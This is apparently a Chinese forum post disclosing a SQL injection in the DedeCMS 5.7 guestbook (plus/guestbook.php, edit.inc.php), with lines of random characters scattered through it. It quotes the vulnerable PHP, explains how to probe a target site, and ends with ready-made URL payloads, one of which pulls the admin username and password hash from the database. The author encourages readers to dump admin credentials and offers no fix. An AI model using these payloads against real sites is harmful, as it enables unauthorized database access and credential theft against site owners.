影响版本为5.7
7 B* z! C1 `0 A5 S5 [: R
! |6 r4 G+ u- G漏洞文件edit.inc.php具体代码:
6 U {+ @' b4 N# i. x' X
6 X$ e. Z0 X" _. q5 s4 I- m< ?php + t& y7 m5 M* M: }) F( ]: l
% K4 _& ?+ _' C2 e4 Bif(!defined('DEDEINC')) exit('Request Error!'); " `6 W. Z- M: I: r: H
2 k6 n8 A1 J8 T. z& L0 B& P
4 @+ K% r! \/ L, m: ?. E
W. D/ k* G! E: g1 F6 nif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( Q9 S7 ?- ?& G1 p
+ H0 n$ c8 @ ~! b" v3 delse $GUEST_BOOK_POS = "guestbook.php"; \% W& n5 c. H: y+ h- y7 P
5 a& {# M; N! y0 i/ v4 W: {
8 e0 Y! D% c1 ]4 G; q# Q" G" E
! j% u8 B; _- ~& `4 h% T* o1 Z# H$id = intval($id); . R( ]7 M2 R3 s; q
0 E: F3 q- n% I" T0 r
if(empty($job)) $job='view';
5 u$ Z; J0 `5 q" }4 t9 P
8 p! j0 e: ~* B
8 \, t1 h8 R% X" G: T0 ~6 ?3 _8 S) A9 G7 g% f
if($job=='del' && $g_isadmin) 7 b9 Z0 g( U7 ~0 R
. p1 Z( H& P8 \# r3 G% c
{ ; w2 `( T0 D( z0 i5 r
& l- K( J" n# A, n6 z6 x( e
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");
+ A* D' U" c9 I, D# |* G4 n" v" R9 p
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);
, X) W5 N4 x0 x8 F: ?4 A. G, x
+ M/ ~8 O, ]3 ^% p2 ^exit();
* @% N$ |0 W# N% ~0 w2 I: Z {5 P+ y+ P0 V5 L
} $ G' ?4 p8 U, o; G# [
9 T) K3 u7 x2 f3 e/ M/ p
else if($job=='check' && $g_isadmin) " c' B2 a9 i% [+ A6 a3 q, q& \
' ?; Q- t( p+ a' m8 q{
9 L1 R/ X( ]% q: A* v. I2 W/ |, f8 A* r: y8 m6 t. T9 Q; B
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 0 t' w( D @, I( Y. h6 x0 _: d
! u2 o! h' T, D9 n) Y) DShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
1 O: w4 n$ ]. X, u) x$ k# K2 o+ }* ]8 ^) x1 h1 s* l0 v
exit(); ' W# ?) S3 ]1 h- ~7 Q6 u" P
& \2 V$ g7 _; K$ V2 I, X
} & }3 y8 R1 ~7 y U8 _" x
, `# ]7 T: S5 i3 }2 ?else if($job=='editok') 7 J& G' p1 c( h. E+ H* D! E& T2 y
% j/ k u8 f4 ]5 O: t/ U
{ 5 G$ @( [% w; U& Q! r1 ?
) `% f* {1 B7 W; m& T$remsg = trim($remsg); # X5 d/ H' p P2 W" ?3 ^5 w( ^
& a5 f. K3 ~' @2 Z" G8 V4 k# K' Aif($remsg!='') 5 Q9 Q% g7 V7 F7 `: w
: R' O( X- c6 R0 q" `/ G6 z{ 7 S3 X6 c B. t2 U& c/ R
2 @3 q5 F# z1 ^( `
//管理员回复不过滤HTML By:Errorera blog:errs.cc " R- o4 f, d& u! n* A0 h+ F
" M3 x; [" S! J) { z) Yif($g_isadmin) ; L7 h0 o. z V
0 `" g: }0 i- t V
{ 3 J6 V+ ~$ p$ O3 T# f. Q
: Q6 g: \: j3 s! _$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 3 j" Y* [( `1 n! F
7 |! s/ g$ e; m5 ~5 X. r//$remsg <br /><font color=red>管理员回复:</font> }
5 v6 x- q' r* D; O/ K- j
0 k2 O/ I3 ~" h' Velse
; {2 z. u! K$ W: w' k
7 e$ I% e' L. C; I{ ; N! f% ]. Q1 G/ D" n$ p
7 t, j" u6 \' _
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' "); 4 Q" b' m- e; \- U1 k
/ z! @: ]- m5 Y/ e9 ?6 W) R( V$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
! A9 x9 w* }' t9 |: B
' o; |$ y8 @& a& B( b$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
- M" T/ i3 ?2 G# b7 k* u% P! q, q1 I8 `+ f9 N, N2 v
$msg = $oldmsg.$remsg;
# g6 i3 s) J/ ~7 ~1 n* S+ U0 [1 ?
}
5 l) b6 A7 e9 B5 l# G1 K) n* ?* q
# O* ^, O' j, F7 [) m* J} 9 W% D( Z8 x C2 E7 G' @7 L0 a
$ y9 F2 r2 E! ^5 `1 W//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc
. w' B( Y) M9 |# w/ ^. X
: n6 T. S) ^ H7 O0 z$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); # J. ?7 O# ?) f0 t" Z& v
4 |) i9 ]9 t5 W" c/ e' l9 i
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);
) D6 `4 k/ z5 B y) N) `% X* ^4 @- ~8 _. {) i( v. p0 S
exit();
3 W" D& x" L; `0 H5 D: J1 _
4 e6 o5 R2 n4 U: t5 H} 1 `. A i3 B; w$ J: Z
: }+ ]: u* ^% z# ?! ?, B, L
//home:www.errs.cc
' E& g& x# u6 i/ I, ]. M+ e6 ~/ S4 b+ Q# }$ `
if($g_isadmin)
! r* i/ d7 ~0 t: z* h, C' i3 B: F7 j
{ ) ?, g" V8 [) U* m+ f8 D
0 h8 x$ y! R6 v. z$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'"); ( ~) ^2 O8 B* t* [6 W
5 C) [0 n% s% {/ Grequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
2 W0 n$ D7 ]+ a; A0 G: e g. J1 `; F5 |) e+ V9 r# F
}
# o9 b0 |0 @+ c/ d
2 X1 q: [4 w0 H% Y& M- uelse
# g9 N+ G: G; t5 `' { p4 K* f7 }$ X# X9 |
{ + P* q4 w6 @, n6 `" W: X e
W1 {5 \0 q5 P: ~& k; b, R
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
5 l \- C) x3 c% P0 s* S( F Q% N" T. I3 E( O
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 7 D) M2 w: v& Y( }4 c U
$ E7 m5 G$ B" X' V2 l} 漏洞成功需要条件:: s# _( _1 c. q( J; A
1. php magic_quotes_gpc=off- M u7 o3 n1 d
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
9 Y2 J! B3 T" u$ E" x- y) }5 z' O2 N. |9 i8 r8 P) d6 ^
怎么判断是否存在漏洞:
1 G, P" ?! r C先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,6 I7 `: ^& t7 v
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
1 T9 b3 ^+ \& K访问:
" R/ y+ C- r" Q! `% S$ v- }/ Y- W+ x5 H6 [8 ~
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了3 z3 v# i5 L! J' V" g6 _
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证2 n! a5 K) @1 ]2 Q; d) }; _ G
* v8 g# d! N- J- \# _* Z _ p) R
& J& B7 {7 S+ T @; n; Y
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
4 W) z( r# y* v x- R- `5 Z如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。& Y0 W; i" [6 [8 g+ F7 D
那么再次访问* C8 Z4 t) g( X& ]
) l) T! K: k; v1 b
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
: @2 c3 a- T' |7 \- A7 M
3 P3 K+ y+ U" G% a# P: z大概利用就是这样,大家有兴趣的多研究下!!
# g5 P2 _9 O* j3 x) I" \
; E- ~# p/ ]7 I% |4 M2 |, t0 s最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
9 ]9 O8 i- \ f- r Y* n t4 h6 N# _+ W1 t) r( K
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |